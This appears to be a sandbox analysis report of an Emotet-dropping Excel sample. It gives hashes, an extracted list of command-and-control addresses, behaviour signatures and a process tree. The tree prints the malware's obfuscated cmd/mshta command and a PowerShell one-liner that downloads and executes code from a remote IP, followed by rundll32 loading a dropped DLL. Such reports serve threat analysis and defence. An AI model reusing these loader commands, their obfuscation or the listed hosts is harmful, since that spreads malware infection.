Analysis
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max time kernel
122s -
max time network
144s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 11:43
Behavioral task
behavioral1
Sample
edefd18d0580d8d25297bcddc843c3478c20f650b124224460ca9ae267529878.xls
Resource
win10-en-20211208
General
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Target
edefd18d0580d8d25297bcddc843c3478c20f650b124224460ca9ae267529878.xls
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Size
142KB
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MD5
81f0a7a1ad8bf108c2648af767e77fcd
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SHA1
9575d97617b4d5b9c22f5d2a0fbfbd3de1ad3de4
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SHA256
edefd18d0580d8d25297bcddc843c3478c20f650b124224460ca9ae267529878
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SHA512
6ed134fd7cba8ddd3c195f5e31a1ce996b8bc5403933a47a23666b483720eb140ca7a8ba5fda71961ef5c7125e9a5b5575f60fb57d3c48879df75bb1980c5967
Malware Config
Extracted
http://0xb907d607/fer/fer.html
Extracted
http://185.7.214.7/fer/fer.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4356 3328 cmd.exe 67 -
Blocklisted process makes network request 6 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid Process 28 4928 mshta.exe 31 3276 powershell.exe 33 3276 powershell.exe 35 3276 powershell.exe 44 3996 rundll32.exe 45 3996 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid Process 316 rundll32.exe 3300 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc Process File opened for modification C:\Windows\SysWOW64\Izbtu\jqlom.mxf rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target Process procid_target 1416 4928 WerFault.exe 74 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid Process 3328 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
WerFault.exepowershell.exerundll32.exepid Process 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 1416 WerFault.exe 3276 powershell.exe 3276 powershell.exe 3276 powershell.exe 3996 rundll32.exe 3996 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
WerFault.exepowershell.exedescription pid Process Token: SeDebugPrivilege 1416 WerFault.exe Token: SeDebugPrivilege 3276 powershell.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid Process 3328 EXCEL.EXE 3328 EXCEL.EXE 3328 EXCEL.EXE 3328 EXCEL.EXE 3328 EXCEL.EXE 3328 EXCEL.EXE 3328 EXCEL.EXE 3328 EXCEL.EXE 3328 EXCEL.EXE 3328 EXCEL.EXE 3328 EXCEL.EXE 3328 EXCEL.EXE 3328 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid Process procid_target PID 3328 wrote to memory of 2480 3328 EXCEL.EXE 70 PID 3328 wrote to memory of 2480 3328 EXCEL.EXE 70 PID 3328 wrote to memory of 4356 3328 EXCEL.EXE 72 PID 3328 wrote to memory of 4356 3328 EXCEL.EXE 72 PID 4356 wrote to memory of 4928 4356 cmd.exe 74 PID 4356 wrote to memory of 4928 4356 cmd.exe 74 PID 4928 wrote to memory of 3276 4928 mshta.exe 76 PID 4928 wrote to memory of 3276 4928 mshta.exe 76 PID 3276 wrote to memory of 4500 3276 powershell.exe 79 PID 3276 wrote to memory of 4500 3276 powershell.exe 79 PID 4500 wrote to memory of 316 4500 cmd.exe 80 PID 4500 wrote to memory of 316 4500 cmd.exe 80 PID 4500 wrote to memory of 316 4500 cmd.exe 80 PID 316 wrote to memory of 3300 316 rundll32.exe 81 PID 316 wrote to memory of 3300 316 rundll32.exe 81 PID 316 wrote to memory of 3300 316 rundll32.exe 81 PID 3300 wrote to memory of 3192 3300 rundll32.exe 82 PID 3300 wrote to memory of 3192 3300 rundll32.exe 82 PID 3300 wrote to memory of 3192 3300 rundll32.exe 82 PID 3192 wrote to memory of 3996 3192 rundll32.exe 83 PID 3192 wrote to memory of 3996 3192 rundll32.exe 83 PID 3192 wrote to memory of 3996 3192 rundll32.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\edefd18d0580d8d25297bcddc843c3478c20f650b124224460ca9ae267529878.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2480
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4928 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3276 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:316 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3300 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Izbtu\jqlom.mxf",OcbLiXKXE8⤵
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Izbtu\jqlom.mxf",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3996
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4928 -s 16524⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1416
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
321380dc019516dfff7c977712f3c4cc
SHA188a64b3ff6a5cc01696672a3c880a4753acaf330
SHA2562200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9
SHA51215fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763
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MD5
321380dc019516dfff7c977712f3c4cc
SHA188a64b3ff6a5cc01696672a3c880a4753acaf330
SHA2562200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9
SHA51215fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763
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MD5
321380dc019516dfff7c977712f3c4cc
SHA188a64b3ff6a5cc01696672a3c880a4753acaf330
SHA2562200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9
SHA51215fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763